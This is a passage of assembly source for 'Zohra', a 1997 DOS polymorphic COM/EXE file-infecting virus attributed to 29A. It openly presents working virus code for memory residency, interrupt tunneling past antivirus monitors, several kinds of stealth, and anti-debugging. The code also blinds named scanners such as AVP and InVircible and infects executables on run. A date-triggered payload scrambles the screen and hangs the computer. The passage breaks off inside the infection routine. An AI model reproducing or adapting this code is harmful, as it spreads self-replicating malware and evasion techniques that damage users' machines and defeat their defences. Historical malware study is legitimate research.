;²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²²                                       . .: .:.. :.. .. .:.::. :. ..:  ²±
; ²   Virus:      Zohra                 <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<  ²±
; ²   Writer:     Wintermute/29A         .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.  ²±
; ²   Size:       4004+512 (decryptor)   . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..   ²±
; ²   Origin:     Madrid, Spain           ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.  ²±
; ²   Finished:   April/1997             >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>  ²±
; ²                                      . .:.. ..:. .: ..:.::. ::.. :.:  ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;  ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
;                                  Features
;                                 ÄÄÄÄÄÄÄÄÄÄ
;
;       Zohra is a slow polymorphic Com/Exe infector that uses Sfts
;   to perform its infection. It's double encrypted and gets resident by
;   MCB method, reducing the last MCB's size without having to create a new
;   one for itself. Also has an encryption routine ( the non-polymorphic
;   one ) based on the UUencode system that consists on changing the first
;   bit of each byte of the zone to encrypt to 1 and storing it in a buffer
;   whose bytes have also a 1 in their most significative bit for being
;   restored later; err, ok, it's well explained in the text. The polymorphic
;   engine consists on some instructions and routine generators and other
;   routines that change the decryption routine randomly ( see the engine ).
;
;       Also tunnels the int 21h using a code analyzer ( The Tourniquet Kode
;   Analyzer ), which can pass through Tbdriver, Virstop, Vshield, etc. Also,
;   it has Fcb/Dta/Mcb/Time/"Half-Sft" stealth, and some good retro
;   ( anti-antivirus ) that I let you discover by watching the code and
;   comments ;-)
;
;       The payload, a video effect ( non-destructive ), activates on 14th
;   of april ( the Spanish Second Republic aniversary ) when any file is
;   executed. It will not be possible to execute it from within the article
;   reader by pressing "G" due to incompatibility reasons.
;
;
;       Greetings in this virus go to ORP, who brought me valuable
;   information about UUencode, and above all to my necromancer, my wizard
;   'Zohra', the best of the Forgotten Realms ;)
;
;       Also greetings to all the 29A, to Marylin Manson, congratulations
;   for 'The Roots of Sepultura', greetings to all my friends, to my BBS,
;   to my cat, to Ch‚ Guevara, to Tupac Amaru, and to underpants of the
;   good luck.
;
;
;      ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;           El viento revuelve s£bitamente las hojas que el oto¤o
;              tan cuidadosamente hab¡a depositado en el suelo,
;                formando un precioso mosaico de tonos ocres.
;
;           El sol a£n atisba t¡midamente por encima del horizonte
;        recortado por las cruces y las l pidas, y si aguzas el o¡do,
;         podr s sentir a los muertos gemir y susurrar los epitafios
;                     que nunca fueron grabados en piedra.
;
;                 La tristeza es un sentimiento de los vivos,
;        la soledad una debilidad de los que rezan por no estar solos,
;           la fe no sirve a los que no mueren, la muerte eres t£,
;        y en tu cripta no hay oscuridad, no hace fr¡o y no est s solo
; porque en tu cripta el oto¤o se ha dejado su manto decadente y desconsolado
;                          para toda la eternidad.
;
;                           Su manto te protege...
;                         ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;                            ( Gerard Casamayor )
;
;
;   TASM /M2 ZOHRA.ASM
;   TLINK ZOHRA.OBJ
;

.286
HOSTSEG segment BYTE           ; Host program for the first generation
ASSUME CS:HOSTSEG, SS:CODIGO

Host:

    mov ax,4c00h
    int 21h

ends

CODIGO segment
ASSUME          CS:CODIGO, DS:CODIGO, ES:CODIGO
org 00h

virus_size  equ virus_end-virus_start
encrypt_size equ encrypt_end-encrypt_start

Comienzo:

virus_start label byte

                push    es ds
                push    cs cs
                pop     ds es

                call    fuera_desencriptado

encriptado      equ     encrypt_end-encrypt_start
encrypt_start   label byte

continuemos:

                mov     si,29Ah             ; Mapoulas PAUER ! ;)
                mov     ax,0db15h
                int     21h
                cmp     si,29A0h
                jnz     tunneling
                jmp     ya_instalado

;**************************
;                THE TOURNIQUET KODE ANALYZER
;                       ---------------------------------

tunneling:

                xor     ax,ax           ; Gets int21h handler
                mov     ds,ax
                lds     si,ds:[0084h]
                mov     word ptr cs:[int21h+bp],si
                mov     word ptr cs:[int21h+bp+2],ds
                mov     ax,ds
                cmp     ax,300h         ; If it belongs to Dos, we go and
                ja      analizar        ;install
                jmp     tunnel_hecho

analizar:
                lodsb                   ; Looks for a byte in ds:si ( where
                cmp     al,41h          ;the int21h points ), and in the
                ja      @@mayor_40      ;following code identifies the
                and     al,00001111b    ;instruction, adding it's size to di
                                        ;and continuing the identification.
                        ; Group < 40h
                cmp     al,3h
                ja      @@nointvar
@@ii:           jmp     @variable_instruction
@@nointvar:
                cmp     al,5h           ;This first byte of the place pointed
                jb      @bytes_2        ;by ds:si is going to tell us in
                jz      @bytes_3        ;the majority of cases it's length,
                cmp     al,8h           ;if it's a jmp far, call far, an
                jb      @bytes_1        ;invalid opcode ( for 8086 ), etc
                jz      @@ii
                cmp     al,0ch
                jb      @variable_instruction   ; Some instructions don't
                jz      @bytes_2        ;have a fixed length gived by their
                cmp     al,0dh          ;first byte, so we'll have to see
                jz      @bytes_3        ;more of them: this, in @variable...
                ja      @bytes_1

                ; Group > 40h
@@mayor_40:
                cmp     al,60h          ; From 40h to 6fh
                jb      @bytes_1
                cmp     al,70h
                jnb     @@mayor6f
                jmp     @invalida
                ; > 6fh
@@mayor6f:
                cmp     al,80h
                jb      @conditional_jmps      ; Conditional jump opcodes
                ; Mayores a 7fh
                cmp     al,81h
                jb      @variable_instruction_1
                jz      @variable_instruction_2
                cmp     al,84h
                jb      @variable_instruction_1
                cmp     al,8fh
                jbe     @variable_instruction
            ; A partir de 90h
                cmp     al,09ah
                jb      @bytes_1
                jnz     @@@@@@
                mov     cx,0ffffh
                jmp     @posible_salto    ; A far call.
@@@@@@:
                cmp     al,0a0h
                jb      @bytes_1
            ; From 0a0h
                cmp     al,0a4h
                jb      @bytes_3
                cmp     al,0b0h
                jb      @bytes_1
                cmp     al,0b8h
                jb      @bytes_2
                cmp     al,0c0h
                jb      @bytes_3
                cmp     al,0c3h
                jbe     @invalida ; We take ret as invalid instruction, as
                                ;we'll ignore any call that is made: won't
                                ;every call return to the same place ?
            ; From 0c4h
                jmp     @desdec4



@conditional_jmps:                  ; jz, jnz, ja...
                mov     cx,5
@comparar:
                cmp     si,word ptr cs:[cond_place]
                inc     bx          ; We look if we made this jmp just before
                inc     bx
                jz      @lo_hacemos ; If we've got Si, we have been there:
                loop    @comparar   ;we make the conditional jump.
                mov     bx,word ptr cs:[cond_flag]
                mov     word ptr cs:[cond_place],si ; If not, we keep SI,
                inc     si          ; the execution jump, to jump the next
                jmp     analizar    ;time we pass through there ( to avoid
                                    ;something like [cmp ax,bx-jz xxx-jmp
                                    ;compare], that would hang the computer
@lo_hacemos:                        ;beeing an infinite loop
                jmp     @jmpshort
@bytes_3:
                inc     si
@bytes_2:
                inc     si
@bytes_1:
                jmp     analizar

@invalida:              ; Iret or invalid instruccion found: we don't
                jmp     ya_instalado        ;install.


@variable_instruction_2:            ; How this variable instructions work
                lodsb               ;is explained on the table at the end
                inc     si          ;of the code analyzer
                inc     si
                jmp     @@@instvar2
@variable_instruction_1:
                lodsb
                inc     si
                jmp     @@@instvar2
@variable_instruction:
                lodsb
@@@instvar2:
                cmp     al,40h
                jnb     @@@may_40
                and     al,00001111b
                cmp     al,0eh
                jz      @@variosmas
                cmp     al,06h
                jnz     @@variosmas
                jmp     analizar
@@variosmas:
                inc     si
                inc     si
                jmp     analizar
@@@may_40:
                cmp     al,80h
                jnb     @@@may_80
                inc     si
                jmp     analizar
@@@may_80:
                cmp     al,057h
                jnb     @bytes_1
                inc     si
                inc     si
                jmp     analizar

@desdec4:

                cmp     al,0c6h
                jb      @variable_instruction
                jz      @variable_instruction_1
                cmp     al,0c7h
                jz      @variable_instruction_2
                cmp     al,0cah
                jb      @invalida
                jz      @bytes_3
                cmp     al,0cch
                jb      @invalida ; We'll also take a retf as invalid
                jz      @bytes_1
                cmp     al,0ceh
                jb      @bytes_2
                jz      @bytes_1
                cmp     al,0cfh
                jz      @invalida       ; Iret, we return from interrupt.
            ; From 0d0h
                cmp     al,0d4h
                jb      @variable_instruction
                cmp     al,0d6h
                jb      @bytes_2
                jz      @invalida
                cmp     al,0d7h
                jz      @bytes_1
                cmp     al,0e0h
                jb      @variable_instruction
                cmp     al,0e8h
                jb      @bytes_2
                jz      @bytes_3  ; Near call: we ignore it
                cmp     al,0eah
                jb      @jmpnext
                jz      @posible_salto       ; Jmp far
                cmp     al,0ebh
                jz      @jmpshort
                cmp     al,0f1h
                jb      @go_bytes_1
                jz      @invalida
                cmp     al,0feh
                jb      @go_bytes_1

                lodsb               ; If a jmp with a register ( jmp Si, for
                cmp     al,20h      ;example ) is made, we go withouth
                jb      @valida_ff  ;installing: we can't emulate it because
                cmp     al,2fh      ;we don't know the registers
                ja      @valida_ff
                jmp     ya_instalado
@valida_ff:
                jmp     @@@instvar2

@go_bytes_1:
                jmp     @bytes_1

@jmpshort:                  ; Near jump, the nearest 80 bytes up or down:
                lodsb       ;we check, and make it.
                xor     ah,ah
                cmp     al,80h
                jb      @addit
                neg     al          ; If it's a jmp to previous code
                sub     si,ax
                jmp     analizar

@jmpnext:       ; 3 bytes
                lodsw
@addit:
                add     si,ax       ; Next jmps are coded E9 XX YY; distance
                jmp     analizar    ;is = current+3+YYXX

@posible_salto:         ; Jump to int21h in the code; found a far call/jmp
                les     dx,ds:[si]  ;that leads us to Dos code
                mov     ax,es
                cmp     ax,300h
                ja      @nomemola
                mov     word ptr cs:[int21h+bp],dx
                mov     word ptr cs:[int21h+bp+2],es
                jmp     tunnel_hecho
@nomemola:
                inc     cx              ; If not, we make the jmp in case
                jz      @passo          ;it's a jmp and not a call, and
                push    es dx           ;continue analyzing
                pop     si ds
                jmp     analizar
@passo:
                add     si,4
                jmp     analizar

cond_flag:
        db      0
cond_place:
        dw      0

; ****************************************************************************
;                               OPCODE TABLE
; ----------------------------------------------------------------------------
;
;  This table is which I made for myself with the 8086 opcodes: I suppose it
; will make easier the code analyzer understanding, and maybe it also will
; be of use to someone...
;
;        Length of instructions that can be coded by the Pc ( 8086 )
;        -----------------------------------------------------------
;
;  Those that have special importance for the Code Analyzer ( rets, calls and
; jumps ) are signaled. The others are normal instructions of the computer set.
;
;  Sometimes in "first byte" I include some opcodes; this means that in all
; that range the byte conditions and length are the same. Length indicates
; how much the instruccion size is ( each interrogation means half byte, two
; hexadecimal figures ):
;
; ****************************************************************************
;  Each 7h bytes the same list is repeated, I mean, the bytes size will be
; the same at positions 01h, 09h, 10h, 19h, 20h, 29h, 30h and 39h. When
; getting to 40h it changes:
;
;                0 <= Y < 40h
;
; Y can take any value between them
;
;  1st byte         2nd byte            next                     length
;
;  Y0h-Y3h        * Variable instruction
;
;    Y4h              ??                 -                       2 bytes
;
;    Y5h              ??                ??                       3 bytes
;
;  Y6h-Y7h             -                 -                       1 byte
;
;  Y8h-Ybh        * Variable instruction
;
;    Ych              ??                 -                       2 bytes
;
;    Ydh              ??                ??                       3 bytes
;
;  Yeh-Yfh             -                 -                       1 byte
;
;
;  Next part: All are one byte instructiones, between 40h and 6fh. Although,
; instructions between 60h and 6fh ( included ) are invalid.
;
;  40h-6fh             -                  -                      1 byte
;
; Part three: Conditional jumps, starting from 70h to 7fh
;
;  70h-7fh             -                  -                      2 bytes
;
; Now, a group of different instructions:
;
;  80h,82h,83h    * Variable instruction ( +1 )
;
;  81h            * Variable instruction ( +2 )
;
;  84h-8fh        * Variable instruction
;
;  Between 90h and 99h there are more one byte instructions, except in 9Ah;
; this opcode is the "call far" instruction.
;
;  90h-99h             -                  -                      1 byte
;
;  9ah                ??               ?? ?? ??                  4 bytes
;
;  9bh-9fh             -                  -                      1 byte
;
; New list, we start from 0a0h
;
; 0a0h-0a3h           ??                  ??                     3 bytes
;
; 0a4h-0afh            -                  -                      1 byte
;
; 0b0h-0b7h           ??                  -                      2 bytes
;
; 0b8h-0bfh           ??                  ??                     3 bytes
;
; 0c0h-0c1h          Invalid
;
; This is a ret [immed]
;
;   0c2h              ??                  ??                     3 bytes
;
; Ret
;
;   0c3h               -                  -                      1 byte
;
;
; 0c4h,0c5h       * Variable instruction
;
; 0c6h            * Variable instruction ( +1 )
;
; 0c7h            * Variable instruction ( +2 )
;
; 0c8h-0c9h          Invalid
;
; Return far [inmed]
;
;   0cah              ??                 ??                      3 bytes
;
; Return far
;
;   0cbh               -                 -                       1 byte
;
;   0cch               -                 -                       1 byte
;
;   0cdh              ??                 -                       2 bytes
;
;   0ceh               -                 -                       1 byte
;
; ( Interrup Return )
;
;   0cfh              -                  -                       1 byte
;
; 0d0h-0d3h       * Variable instruction
;
; 0d4h-0d5h          ??                  -                       2 bytes
;
;   0d6h          Invalid
;
;   0d7h             -                   -                       1 byte
;
; 0d8h-0dfh       * Variable instruction
;
; 0e0h-0e7h          ??                  -                       2 bytes
;
; Call
;
;   0e8h             ??                  ??                      3 bytes
;
; jmp next
;
;   0e9h             ??                  ??                      3 bytes
;
; jmp far
;
;   0eah             ??               ?? ?? ??                   5 bytes
;
; jmp short
;
;   0ebh             ??                  -                       2 bytes
;
; 0ech-0f0h          -                   -                       1 byte
;
;   0f1h             Invalid
;
; 0f2h-0fdh          -                   -                       1 byte
;
;
; 0feh-0ffh       * Variable instruction
;
; ***************************************************************************
; ---------------------------------------------------------------------------
;
;  * Variable instruction ( those which values change depending on the second
; byte )
;
;  A (+1) or a (+2) tells the number of bytes to add to the number of bytes
; shown at the column on the right. The values on the left belong to the
; second byte red
;
;
;                 If it's < 40h
;
;                  XEh o X6h           ?? ??                     4 bytes
;                <>XEh & <>X6h           -                       2 bytes
;
;              If 3fh < x < 80h
;
;                     ??                ??                       3 bytes
;
;              If 7fh < x < c0h
;
;                     ??                ??                       4 bytes
;
;                 If 0bfh < x
;
;                     ??                 -                       2 bytes
;
;
; *************************** END OF TUNNELING ****************************

regs2zero:
                xor     ax,ax           ; Zero registers
                mov     bx,ax
                mov     cx,ax
                cwd
                mov     si,ax
                ret

tunnel_hecho:
                push    cs
                pop     ds

ant_debug:
                push    ax              ; Anti-debugging routine
                pop     ax
                dec     sp
                dec     sp
                pop     bx
                cmp     ax,bx
                jz      @getmcb
                mov     ax,4c00h
                int     21h

@getmcb:
                call    get_z_mcb       ; We take the last Mcb

el_ultimo:
                pop     dx
                push    dx
                cmp     word ptr es:[1],0h      ; Is it free ?
                jz      parlante                ; If not...
                cmp     word ptr es:[1],dx      ; Or with active Psp ?
                jne     ya_instalado
parlante:
                cmp     word ptr es:[3],(((virus_size+15)/16)*2)+24h
                jb      ya_instalado        ; Enough size ?

                mov     bx,word ptr es:[3]
                sub     bx,(((virus_size+15)/16)*2)+23h;512 bytes of poly
                mov     es:[3],bx       ; Mcb Z new size
                add     di,bx
                inc     di              ; We point to the program
                mov     es,di
                push    di
                xor     di,di
                mov     si,bp
                push    di si
                mov     cx,virus_size
                push    cx
                rep     movsb              ; We copy the virus in memory
                pop     cx si
                add     di,201h            ; Re-copy ( 256 bytes ahead )
                rep     movsb

                pop     di       ; We copy the decryptor instructions to
                lea     si,[instr_start+bp] ; keep the originals safe against
                mov     cx,instrsize        ; our own changes.
                rep     movsb


                xor     ax,ax
                mov     es,ax
                pop     ax
                push    ax
                sub     ax,100h                 ; We reduce 100h bytes the
                cli                             ;segment and augments 1000h
                mov     word ptr es:[0086h],ax  ;bytes the offset with the
                lea     dx,handler_int_21       ;objective that is explained
                add     dx,1000h                ;at the Int21h handler
                mov     word ptr es:[0084h],dx  ;( confuse the advanced user )
                sti

installed:
                xor     bp,bp               ; We continue the execution in
                push    offset ya_instalado ;memory
                retf

ya_instalado:
                pop     ds es

                mov     ax,ds               ; Is stack segment same as code
                mov     bx,ss               ;segment ?
                cmp     ax,bx               ; If it is, we've infected a Com
                jz      restaura_com        ;file

                mov     si,ds                   ; We restore the stack
                add     si,cs:word ptr [ss_sp+bp]
                add     si,10h
                cli
                mov     ss,si
                mov     sp,cs:word ptr [ss_sp+bp+2]
                sti

                mov     si,ds                   ; And now we jump pushing
                add     si,cs:word ptr [cs_ip+bp+2] ; and with a retf to the
                add     si,10h                  ; old beggining of the host
                push    si
                push    cs:word ptr [cs_ip+bp]

                call    regs2zero

                retf                            ; Here has happened nothin !

restaura_com:
                push    cs
                pop     ds
                push    es
                mov     di,100h             ; Restores the header ( three
                push    di                  ;first bytes ) if it's a Com.
                lea     si,bp+header
                movsw
                movsb

                call    regs2zero
                push    es
                pop     ds

                retf

get_z_mcb:
                mov     ah,52h              ; We obtain the List of Lists
                int     21h
                mov     di,es:[bx-2]
                mov     es,di
loop_da_mcb:
                cmp     byte ptr es:[0],'Z' ; Search for Mcb 'Z'
                jnz     @sigue_findin
                ret
@sigue_findin:  add     di,es:[3]           ; Mcb Z segment is in ES
                inc     di
                mov     es,di
                jmp     Loop_da_mcb

call_flag:      dw      0
infected_flag:  db      0
push_all_regs:  cli                               ; Pushes all registers
                pop     cs:word ptr [call_flag]   ;
                pushf
                push    ax bx cx dx di si ds es bp
                push    cs:word ptr [call_flag]
                sti
                ret

pop_all_regs:   cli                               ; Restores all registers
                pop     cs:word ptr [call_flag]
                pop     bp es ds si di dx cx bx ax
                popf
                push    cs:word ptr [call_flag]
                sti
                ret

;****************************************************************************
;                                 PAYLOAD
;----------------------------------------------------------------------------
;
;  Non destructive, it activates the aniversary of the spanish Second
; Republic proclamation ( day 14th of april ), showing some video effects
; to the user and printing the virus message.
;

payload:

                mov     ax,0b800h           ; Where the text page is
                mov     ds,ax               ; On Ds
                mov     bx,0100h*8h
loop_segundo:
                mov     cx,(80*25*2)
loop_it:
                dec     cx
                mov     si,cx

                add     word ptr ds:[si-1],4h ; We add 4h to each character
                loop    loop_it             ;of the screen to change it,
                dec     bx                  ;it's color...
                jnz     loop_segundo

                mov     bx,80*25*2
                xor     si,si
loop_decrem:
                mov     word ptr ds:[bx],0   ; Now, the screan cleaning
                mov     word ptr ds:[bx-2],0 ;effect
                mov     word ptr ds:[si],0
                mov     word ptr ds:[si+2],0

                push    ax dx           ; Delay for the cleaning: waits the
                mov     dx,3dah         ;vertical retrazing of the monitor
del1:           in      al,dx           ;to continue
                test    al,8
                jne     del1
del2:           in      al,dx
                test    al,8
                je      del2
                pop     dx ax
not_delay:
                sub     bx,4            ; Pointers for black spaces
                add     si,4
                cmp     bx,80*25        ; Have we reached the end ?
                jnb     loop_decrem

zohra_text:
                xor     bx,bx           ; Now we print the Zohra message,
                xor     di,di           ;that is in 'thetext'
                push    cs
                pop     ds
                lea     si,thetext      ; ( "Zohra will live forever...
                mov     cx,1            ;  necromancy with her!" )
@print:
                mov     ah,2h           ; We place the cursor at the center
                mov     dx,0c0eh        ;of the screen
                add     dx,di
                int     10h

                mov     bl,02h          ; We print with int10h to give some
                lodsb                   ;color to this ;)
                cmp     al,0h
                jz      acabado
                mov     ah,09h
                int     10h

                inc     di
                jmp     @print
acabado:
                jmp     $                   ; I love hanging computers X-)


;****************************************************************************
;                             STEALTH DE FCB
;----------------------------------------------------------------------------

fcb_stealth:                    ; Stealth on 11h/12h
                xchg    ah,al
                pushf
                call    dword ptr cs:[Int21h]
                test    al,al
                jnz     nada_de_stealth
                push    es ax bx

                mov     ah,51h
                int     21h
                mov     es,bx
                cmp     bx,es:[16h]
                jnz     Not_infected

                mov     bx,dx
                mov     al,byte ptr [bx]
                push    ax
                mov     ah,2fh
                int     21h
                pop     ax
                inc     al
                jnz     Normal_FCB
                add     bx,7h
Normal_FCB:
                mov     al,es:[bx+17h]
                and     al,1eh
                xor     al,1eh
                jnz     Not_infected

                sub     word ptr es:[bx+1dh],Virus_size+202h
                sbb     word ptr es:[bx+1fh],0
                and     byte ptr es:[bx+17h],06bh

Not_infected:
                pop     bx ax es

nada_de_stealth:    retf    2

;*** 5700h

time_stealth:
                xchg    ah,al               ; Returns apparently correct
                pushf                       ;seconds
                call    dword ptr cs:[int21h]
                push    cx
                and     cl,01eh
                xor     cl,01eh
                pop     cx
                jnz     Vietnow
                and     cl,0eh
Vietnow:
                iret

;****************************************************************************
;                              NEW INT 21h
;----------------------------------------------------------------------------
;                  Next motherfucker gonna get my metal

                ; The int21h handler is in "handler_int_21", after this
                ;( maybe the user likes the U of debug )

before:
                popf
                xchg    ah,al       ; To avoid Avp's 'trace warning', which
                cmp     ax,5700h    ;only checks if there is a cmp ah,4bh
                jz      time_stealth ;instruction
                cmp     al,11h
                jz      fcb_stealth
                cmp     al,12h
                jz      fcb_stealth
                cmp     al,4ch
                jnz     dont_restore_memory
                dec     byte ptr cs:[flag1]   ; Restores last Mcb size to
                jnz     @nope2                ;protect our virus after out
                call    push_all_regs         ;anti-mem routine.
                call    get_z_mcb
                sub     word ptr es:[3],((virus_size/16)*2)+22h
                call    pop_all_regs
@nope2:         jmp     nope
dont_restore_memory:
                cmp     al,03ch
                je      open_filexz
                cmp     al,05bh
                je      open_filexz
                cmp     al,03dh
                je      open_filexz
                cmp     al,06ch
                je      open_filexz
                cmp     al,4eh
                jz      go_handle
                cmp     al,4fh
                jnz     non_handle
go_handle:      jmp     handle
non_handle:
                cmp     ax,015dbh
                jnz     tira_venga
                jmp     install_check
tira_venga:     cmp     al,4bh
                jnz     eing
                jmp     infeccion

eing:
                cmp     al,3fh        ; File read
                jnz     @nope2
                jmp     lets_do_stuff

handler_int_21:

                pushf                          ; This routine tries to make
                push    cs                     ;the advanced users believe
                push    offset before          ;this isn't a virus: the
                push    bp                     ;offset is bigger than 1100h,
                mov     bp,sp                  ;so it looks like a normal
                add     word ptr ss:[bp+4],100h;( and big ) program
                pop     bp                     ; The routine itself, returns
                retf                           ;to the real offsets and
                                               ;tries also not to look like a
                                               ;virus

;****************************************************************************
;                            Open file handle
;----------------------------------------------------------------------------

open_filexz:    ; You can kill yourself now because you're dead in my mind

                xchg    ah,al
                pushf
                call    dword ptr cs:[int21h]
                call    push_all_regs

                mov     dx,'VA'             ; Avp ( 3.0beta )
                push    bx
                call    get_prog_in_env
                pop     bx
                jc      tenemos_al_avp

                mov     dx,'VI'             ; Shitvircible
                push    bx
                call    get_prog_in_env
                pop     bx
                jc      la_mierda_nos_ronda


                push    offset @@cont       ; Obtain actual Sft
@get_da_sft:
                mov     ax,1220h
                int     2fh
                jc      @@go_out
                xor     bx,bx
                mov     bl,byte ptr es:[di]
                mov     ax,1216h
                int     2fh             ; In ES:DI we get the Sft entry that
@@go_out:       ret                     ;belongs to the actual file.
@@cont:
                jc      go_out
                               ; If it's infected, we reduce it <virus_size>
                mov     al,byte ptr es:[di+0dh] ; bytes at the file Sft
                and     al,01eh                 ;
                xor     al,01eh
                jnz     go_out
                inc     byte ptr [infected_flag]
                sub     word ptr es:[di+11h],Virus_size+202h
                sbb     word ptr es:[di+13h],0
                jmp     go_out

tenemos_al_avp: cmp     bx,5     ; I check a pair of values of Avp 3.0b when
                jnz     go_out   ;opening, enough specific to not damage
                cmp     si,402dh ;older versions: I make zero the opened file
                jnz     go_out   ;size, and Avp 3.0 will detect NO VIRUSES
                call    @get_da_sft
                mov     word ptr es:[di+11h],0
                mov     word ptr es:[di+13h],0

go_out:
                call    pop_all_regs
definetly:      retf    2

la_mierda_nos_ronda:

                cmp     bx,3b20h     ; Ok, I don't think I need more code to
                jnz     go_out       ;make Shitvircible blind... bah, I'm
                call    pop_all_regs ;sure in a pair of years it's still
                stc                  ;unable to detect my Zohra... Zvi Netiv,
                jmp     definetly    ;guy, your Invircible SUX !!!

install_check:
                cmp     si,29Ah     ; If it's in memory it returns 29A0h in
                jnz     nope        ;SI
                mov     si,29A0h
                iret
nope:
                xchg    ah,al
                jmp     salto_a_int21h

;****************************************************************************
;                            HANDLE STEALTH
;----------------------------------------------------------------------------

handle:
                xchg    ah,al
                pushf                           ; Handle stealth, functions
                call    dword ptr cs:[Int21h]   ;4eh/4fh
                jc      handle_out
                pushf
                push    dx ax es bx di

                mov     dx,'KP'                 ; Pkunzip, don't stealth
                call    get_prog_in_env         ;when used
                jc      not_infec

                mov     dx,'RA'                 ; Arj, same with it
                call    get_prog_in_env
                jc      not_infec

                mov     dx,'AR'
                call    get_prog_in_env         ; Rar archive
                jc      not_infec

                mov     dx,'UU'
                call    get_prog_in_env         ; UUencode utilities
                jc      not_infec

                mov     dx,'-F'                 ; Anti F-prot's anti-stealth
                call    get_prog_in_env         ;( doesn't make stealth when
                jc      not_infec               ;it's executing )

                mov     ah,2fh
                int     21h
                mov     al,es:[bx+16h]
                and     al,1eh
                xor     al,1eh
                jnz     not_infec
                sub     word ptr es:[bx+1ah],Virus_size+202h
                sbb     word ptr es:[bx+1ch],0
                and     byte ptr es:[bx+16h],06bh
not_infec:
                pop     di bx es ax dx
                popf
handle_out:
                retf    2

;****************************************************************************
;                                INFECT !
;----------------------------------------------------------------------------

infeccion:

                xchg    ah,al
                call    push_all_regs
                mov     si,dx
                mov     di,ds

                xor     bp,bp           ; For the div
                mov     ax,3500h
                int     21h             ; We handle int 00h, divide overflow,
                push    es bx           ;so we only have to make a 'div bp'
                mov     ah,25h          ;to jump to int21h, making the
                push    ax              ;heuristic engines ( even Avp ) not
                push    cs              ;to have any idea of what we are
                pop     ds              ;doing
                lea     dx,rutinadiv
                int     21h

                mov     ah,2ah          ; Puts the first number for the
                div     bp              ;"random" number: month, day, hour
                mov     word ptr [num_aleat],dx

                                        ; Virus activation:
                cmp     dx,040eh        ; Fourteenth of april
                jnz     noche
                jmp     payload

noche:
                mov     ax,3524h
                div     bp              ; Handling of int24h, avoid errors
                push    bx es
                push    cs
                pop     ds
                lea     dx,int24h
                mov     ah,25h
                div     bp
                push    ax
                mov     dx,si
                mov     ds,di
loop_exe:                                           ; Do not infect:
                inc     si
                cmp     word ptr ds:[si],'BT'       ; Tbav...
                jz      nos_piramos
                cmp     word ptr ds:[si],'VA'       ; Avp...
                jz      nos_piramos
                cmp     word ptr ds:[si],'CS'       ; Avscan, Xscan, Scan...
                jz      nos_piramos
                cmp     word ptr ds:[si],'VI'       ; Invircible
                jz      nos_piramos
                cmp     byte ptr ds:[si],0
                jz      final_cero
                jmp     loop_exe

final_cero:
                mov     byte ptr cs:[flag1],0   ; Is Mem.exe executing ?
                cmp     ds:[si-7],'EM'
                jnz     nadarl
                cmp     ds:[si-5],'.M'
                jz      memory_test
nadarl:         cmp     ds:[si-7],'IW'          ; And Windoze ?
                jnz     noeswin
                cmp     ds:[si-5],'.N'
                jz      ant_memory_test
noeswin:

                dec     si
                dec     si
                cmp     ds:[si],'EX'                ; ¨ Is it an .Exe ?
                jz      Es_un_exe
                jmp     Podriaseruncom
Es_un_exe:
                mov     ax,3d02h                    ; Open r/w
                div     bp

                jnc     continua_infecci¢n
nos_piramos:    jmp     vamonox

ant_memory_test:
                lea     di,int21h           ; Restore original int21h
                lds     dx,cs:[di]
                mov     ax,2521h
                div     bp
Memory_test:        ; The virus gets here if the Mem.exe file has been
                    ;executed: if that's right, it adds it's size to the
                call    get_z_mcb  ; last Mcb so it appears the same free
                add     es:[3],((virus_size/16)*2)+22h ; memory than before
                inc     byte ptr cs:[flag1]   ; installing ( later it's
                jmp     vamonox               ; restored, of course ;) )
Ir_cerrar:      jmp     cerramos


continua_infecci¢n:
                xchg    bx,ax
                push    bx
                call    @get_da_sft         ; Let's go with Sft infection!
                pop     bx

                push    es di
                lea     dx,header           ; We read the exe header...
                push    cs cs
                pop     ds es
                mov     ah,3fh
                mov     cx,01ch
                div     bp
                mov     si,dx               ; and move it to the second copy
                mov     di,virus_size+201h+offset header ; of the virus
                rep     movsb
                pop     di es

                cmp     word ptr es:[di+11h],01f40h ; Too little file ?
                jb      ir_cerrar


                             ;File size=file image+header?
                mov     ax,word ptr es:[di+11h]
                mov     dx,word ptr es:[di+13h]
                push    ax dx
                mov     ax,word ptr [header+4]   ; Number of pages
                dec     ax
                mov     cx,200h
                mul     cx
                add     ax,word ptr [header+2]  ; Last page
                adc     dx,0                    ; dx-ax length of file
                pop     cx si
                cmp     cx,dx                   ; Jumps also if attrib<>0, so
                jnz     ir_cerrar               ;doesn't infect +r files. I
                cmp     si,ax                   ;thought to change some
                jnz     ir_cerrar               ;things, but I prefer it this
                                                ;way: slowest reproduction


                mov     al,byte ptr [header]        ; Is it MZ ?
                add     al,byte ptr [header+1]
                cmp     al,'M'+'Z'
                jnz     Ir_Cerrar

                mov     ax,word ptr es:[di+0dh]
                and     al,1eh          ; Is it infected ?
                xor     al,1eh
                jz      ir_cerrar
                push    word ptr es:[di+0dh]
                push    word ptr es:[di+0fh]


                push   offset rout_fecha ;( this to be called by the Com
@comp_tiempo:                            ;infector )
                                        ; Doesn't infect if the file date
                mov     ah,2ah          ;is the same today's date ( to avoid
                div     bp              ;bait-files and some antivirus
                mov     ax,word ptr es:[di+0fh] ;programs that use this like
                mov     cx,ax           ;Shitvircible )
                and     ax,01fh
                cmp     al,dl
                jnz     puedes_seguir
                and     cx,01e0h
                ror     cx,5
                cmp     cl,dh
                jnz     puedes_seguir
